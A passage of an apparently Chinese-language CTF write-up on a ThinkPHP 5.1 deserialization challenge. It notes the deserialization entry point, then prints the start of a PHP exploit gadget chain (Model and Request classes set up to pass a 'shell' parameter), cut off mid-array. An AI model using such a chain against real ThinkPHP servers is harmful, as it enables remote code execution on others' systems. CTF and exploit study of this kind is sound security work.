源码
源码中提示反序列化入口
思路
去网上搜下ThinkPHP 5.1相关的漏洞
题解
找到2个exp第一个
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
//GET传参 shell
$this->data = ['shell' => new Request()];
$this->append = ['shell' => []];
}
}
class Request{
protected $filter;
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' =>